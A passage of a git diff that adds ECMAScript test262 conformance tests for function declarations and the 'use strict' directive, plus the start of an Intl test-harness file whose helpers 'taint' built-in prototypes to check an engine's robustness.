+
diff --git a/js/src/tests/test262/ch14/14.0/S14_A2.js b/js/src/tests/test262/ch14/14.0/S14_A2.js
new file mode 100644
index 000000000..758e6daf5
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/S14_A2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionDeclaration cannot be localed inside an Expression
+ *
+ * @path ch14/14.0/S14_A2.js
+ * @description Declaring a function within an "if" Expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof f !== 'undefined') {
+ $ERROR('#1: typeof f === \'undefined\'. Actual: typeof f ==='+ typeof f );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (function f(arg){
+ if (arg===0)
+ return 1;
+ else
+ return f(arg-1)*arg;
+}(3)!==6) {
+ $ERROR('#2: FunctionDeclaration cannot be localed inside an Expression');
+};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch14/14.0/S14_A3.js b/js/src/tests/test262/ch14/14.0/S14_A3.js
new file mode 100644
index 000000000..d7dff69a6
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/S14_A3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Global FunctionDeclaration cannot be defined within the body of another FunctionDeclaration
+ *
+ * @path ch14/14.0/S14_A3.js
+ * @description Declaring a function within the body of another function
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (typeof __func !== "function") {
+ $ERROR('#1: typeof __func === "function". Actual: typeof __func ==='+ typeof __func );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __gunc !== "undefined") {
+ $ERROR('#2: typeof __gunc === "undefined". Actual: typeof __gunc ==='+ typeof __gunc );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func(){
+ function __gunc(){return true};
+}
+
diff --git a/js/src/tests/test262/ch14/14.0/S14_A5_T1.js b/js/src/tests/test262/ch14/14.0/S14_A5_T1.js
new file mode 100644
index 000000000..499147150
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/S14_A5_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Identifer within a FunctionDeclaration can be written in both letters and unicode
+ *
+ * @path ch14/14.0/S14_A5_T1.js
+ * @description Declaring a function with "function __\u0066\u0075\u006e\u0063(){return "both"}"
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== "both") {
+ $ERROR('#1: __func() === "both". Actual: __func() ==='+ __func() );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func(){return "ascii"};
+function \u005f\u005f\u0066\u0075\u006e\u0063(){return "unicode"};//__func in unicode
+function __\u0066\u0075\u006e\u0063(){return "both"};//__func in unicode
+
diff --git a/js/src/tests/test262/ch14/14.0/S14_A5_T2.js b/js/src/tests/test262/ch14/14.0/S14_A5_T2.js
new file mode 100644
index 000000000..ee3c9d2a3
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/S14_A5_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The Identifer within a FunctionDeclaration can be written in both letters and unicode
+ *
+ * @path ch14/14.0/S14_A5_T2.js
+ * @description Declaring a function with "function \u005f\u005f\u0066\u0075\u006e\u0063(){return "unicode"}"
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__func() !== "unicode") {
+ $ERROR('#1: __func() === "unicode". Actual: __func() ==='+ __func() );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+function __func(){return "ascii"};
+function \u005f\u005f\u0066\u0075\u006e\u0063(){return "unicode"};//__func in unicode
+
diff --git a/js/src/tests/test262/ch14/14.0/browser.js b/js/src/tests/test262/ch14/14.0/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/browser.js
diff --git a/js/src/tests/test262/ch14/14.0/shell.js b/js/src/tests/test262/ch14/14.0/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.0/shell.js
diff --git a/js/src/tests/test262/ch14/14.1/14.1-1-s.js b/js/src/tests/test262/ch14/14.1/14.1-1-s.js
new file mode 100644
index 000000000..6b2b377b8
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-1-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-1-s.js
+ * @description 'use strict' directive - correct usage
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return(this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-10-s.js b/js/src/tests/test262/ch14/14.1/14.1-10-s.js
new file mode 100644
index 000000000..5badea52b
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-10-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-10-s.js
+ * @description other directives - may follow 'use strict' directive
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ "use strict";
+ "bogus directive";
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-11-s.js b/js/src/tests/test262/ch14/14.1/14.1-11-s.js
new file mode 100644
index 000000000..bb5cbf79c
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-11-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-11-s.js
+ * @description comments may preceed 'use strict' directive
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ // comment
+ /* comment */ "use strict";
+
+ return(this === undefined);
+
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-12-s.js b/js/src/tests/test262/ch14/14.1/14.1-12-s.js
new file mode 100644
index 000000000..4aa3fb115
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-12-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-12-s.js
+ * @description comments may follow 'use strict' directive
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ "use strict"; /* comment */ // comment
+
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-13-s.js b/js/src/tests/test262/ch14/14.1/14.1-13-s.js
new file mode 100644
index 000000000..ba3889681
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-13-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-13-s.js
+ * @description semicolon insertion works for'use strict' directive
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ "use strict"
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-14-s.js b/js/src/tests/test262/ch14/14.1/14.1-14-s.js
new file mode 100644
index 000000000..fd37bd4f8
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-14-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-14-s.js
+ * @description semicolon insertion may come before 'use strict' directive
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ "another directive"
+ "use strict" ;
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-15-s.js b/js/src/tests/test262/ch14/14.1/14.1-15-s.js
new file mode 100644
index 000000000..38325c4d4
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-15-s.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-15-s.js
+ * @description blank lines may come before 'use strict' directive
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+
+
+
+
+
+
+ "use strict" ;
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-16-s.js b/js/src/tests/test262/ch14/14.1/14.1-16-s.js
new file mode 100644
index 000000000..e63ef40d0
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-16-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-16-s.js
+ * @description 'use strict' directive - not recognized if it follow an empty statement
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ ; 'use strict';
+ return (this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-17-s.js b/js/src/tests/test262/ch14/14.1/14.1-17-s.js
new file mode 100644
index 000000000..cfc21ff21
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-17-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-17-s.js
+ * @description 'use strict' directive - not recognized if it follow some other statment empty statement
+ * @noStrict
+ */
+
+function testcase() {
+
+ function foo()
+ {
+ var x;
+ 'use strict';
+ return (this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-2-s.js b/js/src/tests/test262/ch14/14.1/14.1-2-s.js
new file mode 100644
index 000000000..9701c4020
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-2-s.js
+ * @description "use strict" directive - correct usage double quotes
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ "use strict";
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-3-s.js b/js/src/tests/test262/ch14/14.1/14.1-3-s.js
new file mode 100644
index 000000000..90eb7767a
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-3-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-3-s.js
+ * @description 'use strict' directive - not recognized if it contains extra whitespace
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ ' use strict ';
+ return (this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-4-s.js b/js/src/tests/test262/ch14/14.1/14.1-4-s.js
new file mode 100644
index 000000000..f53cd37fa
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-4-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-4-s.js
+ * @description 'use strict' directive - not recognized if contains Line Continuation
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use str\
+ict';
+ return (this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-4gs.js b/js/src/tests/test262/ch14/14.1/14.1-4gs.js
new file mode 100644
index 000000000..67456de53
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-4gs.js
@@ -0,0 +1,14 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-4gs.js
+ * @description StrictMode - a Use Strict Directive followed by a strict mode violation
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"use strict";
+throw NotEarlyError;
+eval = 42; \ No newline at end of file
diff --git a/js/src/tests/test262/ch14/14.1/14.1-5-s.js b/js/src/tests/test262/ch14/14.1/14.1-5-s.js
new file mode 100644
index 000000000..f0b40a12c
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-5-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-5-s.js
+ * @description 'use strict' directive - not recognized if contains a EscapeSequence
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use\u0020strict';
+ return(this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-5gs.js b/js/src/tests/test262/ch14/14.1/14.1-5gs.js
new file mode 100644
index 000000000..9ce043a67
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-5gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-5gs.js
+ * @description StrictMode - a Use Strict Directive embedded in a directive prologue followed by a strict mode violation
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+"a";
+"use strict";
+"c";
+throw NotEarlyError;
+eval = 42; \ No newline at end of file
diff --git a/js/src/tests/test262/ch14/14.1/14.1-6-s.js b/js/src/tests/test262/ch14/14.1/14.1-6-s.js
new file mode 100644
index 000000000..c779da837
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-6-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-6-s.js
+ * @description 'use strict' directive - not recognized if contains a <TAB> instead of a space
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ return (this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-7-s.js b/js/src/tests/test262/ch14/14.1/14.1-7-s.js
new file mode 100644
index 000000000..a54b90774
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-7-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-7-s.js
+ * @description 'use strict' directive - not recognized if upper case
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'Use Strict';
+ return (this !== undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-8-s.js b/js/src/tests/test262/ch14/14.1/14.1-8-s.js
new file mode 100644
index 000000000..446ab3a74
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-8-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-8-s.js
+ * @description 'use strict' directive - may follow other directives
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ "bogus directive";
+ "use strict";
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/14.1-9-s.js b/js/src/tests/test262/ch14/14.1/14.1-9-s.js
new file mode 100644
index 000000000..2efb4736a
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/14.1-9-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch14/14.1/14.1-9-s.js
+ * @description 'use strict' directive - may occur multiple times
+ * @noStrict
+ */
+
+
+function testcase() {
+
+ function foo()
+ {
+ 'use strict';
+ "use strict";
+ return (this === undefined);
+ }
+
+ return foo.call(undefined);
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch14/14.1/browser.js b/js/src/tests/test262/ch14/14.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/browser.js
diff --git a/js/src/tests/test262/ch14/14.1/shell.js b/js/src/tests/test262/ch14/14.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch14/14.1/shell.js
diff --git a/js/src/tests/test262/ch14/browser.js b/js/src/tests/test262/ch14/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch14/browser.js
diff --git a/js/src/tests/test262/ch14/shell.js b/js/src/tests/test262/ch14/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch14/shell.js
diff --git a/js/src/tests/test262/intl402/browser.js b/js/src/tests/test262/intl402/browser.js
new file mode 100644
index 000000000..14dc20639
--- /dev/null
+++ b/js/src/tests/test262/intl402/browser.js
@@ -0,0 +1,1315 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Undo at least the damage done by taintArray so that the jstests
+ * harness won't die. The properties added to Object.prototype by the various
+ * tests have names that are less likely to cause trouble.
+ */
+setRestoreFunction((function () {
+ var Array_indexOf = Array.prototype.indexOf;
+ var Array_join = Array.prototype.join;
+ var Array_push = Array.prototype.push;
+ var Array_slice = Array.prototype.slice;
+ var Array_sort = Array.prototype.sort;
+ return function () {
+ delete Array.prototype["0"];
+ Array.prototype.indexOf = Array_indexOf;
+ Array.prototype.join = Array_join;
+ Array.prototype.push = Array_push;
+ Array.prototype.slice = Array_slice;
+ Array.prototype.sort = Array_sort;
+ };
+}()));
+// Copyright 2012 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * @description Tests that obj meets the requirements for built-in objects
+ * defined by the introduction of chapter 15 of the ECMAScript Language Specification.
+ * @param {Object} obj the object to be tested.
+ * @param {boolean} isFunction whether the specification describes obj as a function.
+ * @param {boolean} isConstructor whether the specification describes obj as a constructor.
+ * @param {String[]} properties an array with the names of the built-in properties of obj,
+ * excluding length, prototype, or properties with non-default attributes.
+ * @param {number} length for functions only: the length specified for the function
+ * or derived from the argument list.
+ * @author Norbert Lindenberg
+ */
+
+function testBuiltInObject(obj, isFunction, isConstructor, properties, length) {
+
+ if (obj === undefined) {
+ $ERROR("Object being tested is undefined.");
+ }
+
+ var objString = Object.prototype.toString.call(obj);
+ if (isFunction) {
+ if (objString !== "[object Function]") {
+ $ERROR("The [[Class]] internal property of a built-in function must be " +
+ "\"Function\", but toString() returns " + objString);
+ }
+ } else {
+ if (objString !== "[object Object]") {
+ $ERROR("The [[Class]] internal property of a built-in non-function object must be " +
+ "\"Object\", but toString() returns " + objString);
+ }
+ }
+
+ if (!Object.isExtensible(obj)) {
+ $ERROR("Built-in objects must be extensible.");
+ }
+
+ if (isFunction && Object.getPrototypeOf(obj) !== Function.prototype) {
+ $ERROR("Built-in functions must have Function.prototype as their prototype.");
+ }
+
+ if (isConstructor && Object.getPrototypeOf(obj.prototype) !== Object.prototype) {
+ $ERROR("Built-in prototype objects must have Object.prototype as their prototype.");
+ }
+
+ // verification of the absence of the [[Construct]] internal property has
+ // been moved to the end of the test
+
+ // verification of the absence of the prototype property has
+ // been moved to the end of the test
+
+ if (isFunction) {
+
+ if (typeof obj.length !== "number" || obj.length !== Math.floor(obj.length)) {
+ $ERROR("Built-in functions must have a length property with an integer value.");
+ }
+
+ if (obj.length !== length) {
+ $ERROR("Function's length property doesn't have specified value; expected " +
+ length + ", got " + obj.length + ".");
+ }
+
+ var desc = Object.getOwnPropertyDescriptor(obj, "length");
+ if (desc.writable) {
+ $ERROR("The length property of a built-in function must not be writable.");
+ }
+ if (desc.enumerable) {
+ $ERROR("The length property of a built-in function must not be enumerable.");
+ }
+ if (desc.configurable) {
+ $ERROR("The length property of a built-in function must not be configurable.");
+ }
+ }
+
+ properties.forEach(function(prop) {
+ var desc = Object.getOwnPropertyDescriptor(obj, prop);
+ if (desc === undefined) {
+ $ERROR("Missing property " + prop + ".");
+ }
+ // accessor properties don't have writable attribute
+ if (desc.hasOwnProperty("writable") && !desc.writable) {
+ $ERROR("The " + prop + " property of this built-in function must be writable.");
+ }
+ if (desc.enumerable) {
+ $ERROR("The " + prop + " property of this built-in function must not be enumerable.");
+ }
+ if (!desc.configurable) {
+ $ERROR("The " + prop + " property of this built-in function must be configurable.");
+ }
+ });
+
+ // The remaining sections have been moved to the end of the test because
+ // unbound non-constructor functions written in JavaScript cannot possibly
+ // pass them, and we still want to test JavaScript implementations as much
+ // as possible.
+
+ var exception;
+ if (isFunction && !isConstructor) {
+ // this is not a complete test for the presence of [[Construct]]:
+ // if it's absent, the exception must be thrown, but it may also
+ // be thrown if it's present and just has preconditions related to
+ // arguments or the this value that this statement doesn't meet.
+ try {
+ /*jshint newcap:false*/
+ var instance = new obj();
+ } catch (e) {
+ exception = e;
+ }
+ if (exception === undefined || exception.name !== "TypeError") {
+ $ERROR("Built-in functions that aren't constructors must throw TypeError when " +
+ "used in a \"new\" statement.");
+ }
+ }
+
+ if (isFunction && !isConstructor && obj.hasOwnProperty("prototype")) {
+ $ERROR("Built-in functions that aren't constructors must not have a prototype property.");
+ }
+
+ // passed the complete test!
+ return true;
+}
+
+// Copyright 2011-2012 Norbert Lindenberg. All rights reserved.
+// Copyright 2012-2013 Mozilla Corporation. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * This file contains shared functions for the tests in the conformance test
+ * suite for the ECMAScript Internationalization API.
+ * @author Norbert Lindenberg
+ */
+
+
+/**
+ * @description Calls the provided function for every service constructor in
+ * the Intl object, until f returns a falsy value. It returns the result of the
+ * last call to f, mapped to a boolean.
+ * @param {Function} f the function to call for each service constructor in
+ * the Intl object.
+ * @param {Function} Constructor the constructor object to test with.
+ * @result {Boolean} whether the test succeeded.
+ */
+function testWithIntlConstructors(f) {
+ var constructors = ["Collator", "NumberFormat", "DateTimeFormat"];
+ return constructors.every(function (constructor) {
+ var Constructor = Intl[constructor];
+ var result;
+ try {
+ result = f(Constructor);
+ } catch (e) {
+ e.message += " (Testing with " + constructor + ".)";
+ throw e;
+ }
+ return result;
+ });
+}
+
+
+/**
+ * Returns the name of the given constructor object, which must be one of
+ * Intl.Collator, Intl.NumberFormat, or Intl.DateTimeFormat.
+ * @param {object} Constructor a constructor
+ * @return {string} the name of the constructor
+ */
+function getConstructorName(Constructor) {
+ switch (Constructor) {
+ case Intl.Collator:
+ return "Collator";
+ case Intl.NumberFormat:
+ return "NumberFormat";
+ case Intl.DateTimeFormat:
+ return "DateTimeFormat";
+ default:
+ $ERROR("test internal error: unknown Constructor");
+ }
+}
+
+
+/**
+ * Taints a named data property of the given object by installing
+ * a setter that throws an exception.
+ * @param {object} obj the object whose data property to taint
+ * @param {string} property the property to taint
+ */
+function taintDataProperty(obj, property) {
+ Object.defineProperty(obj, property, {
+ set: function(value) {
+ $ERROR("Client code can adversely affect behavior: setter for " + property + ".");
+ },
+ enumerable: false,
+ configurable: true
+ });
+}
+
+
+/**
+ * Taints a named method of the given object by replacing it with a function
+ * that throws an exception.
+ * @param {object} obj the object whose method to taint
+ * @param {string} property the name of the method to taint
+ */
+function taintMethod(obj, property) {
+ Object.defineProperty(obj, property, {
+ value: function() {
+ $ERROR("Client code can adversely affect behavior: method " + property + ".");
+ },
+ writable: true,
+ enumerable: false,
+ configurable: true
+ });
+}
+
+
+/**
+ * Taints the given properties (and similarly named properties) by installing
+ * setters on Object.prototype that throw exceptions.
+ * @param {Array} properties an array of property names to taint
+ */
+function taintProperties(properties) {
+ properties.forEach(function (property) {
+ var adaptedProperties = [property, "__" + property, "_" + property, property + "_", property + "__"];
+ adaptedProperties.forEach(function (property) {
+ taintDataProperty(Object.prototype, property);
+ });
+ });
+}
+
+
+/**
+ * Taints the Array object by creating a setter for the property "0" and
+ * replacing some key methods with functions that throw exceptions.
+ */
+function taintArray() {
+ taintDataProperty(Array.prototype, "0");
+ taintMethod(Array.prototype, "indexOf");
+ taintMethod(Array.prototype, "join");
+ taintMethod(Array.prototype, "push");
+ taintMethod(Array.prototype, "slice");
+ taintMethod(Array.prototype, "sort");
+}
+
+
+// auxiliary data for getLocaleSupportInfo
+var languages = ["zh", "es", "en", "hi", "ur", "ar", "ja", "pa"];
+var scripts = ["Latn", "Hans", "Deva", "Arab", "Jpan", "Hant"];
+var countries = ["CN", "IN", "US", "PK", "JP", "TW", "HK", "SG"];
+var localeSupportInfo = {};
+
+
+/**
+ * Gets locale support info for the given constructor object, which must be one
